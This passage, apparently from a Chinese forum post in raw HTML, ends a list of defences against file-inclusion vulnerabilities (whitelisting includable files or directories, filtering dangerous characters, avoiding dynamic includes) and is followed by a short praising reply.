14px;">2、对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 15px;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">3、对危险字符进行过滤。</span></p><p style="margin-top: 15px;margin-right: 0px;margin-bottom: 0px !important;margin-left: 0px;padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;border-top-width: 0px;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-style: initial;border-color: initial;"><span style="font-size: 14px;">4、尽量不使用动态包含等等</span></p><p><br></p>
针不戳针不戳针不戳针不戳
页:
[1]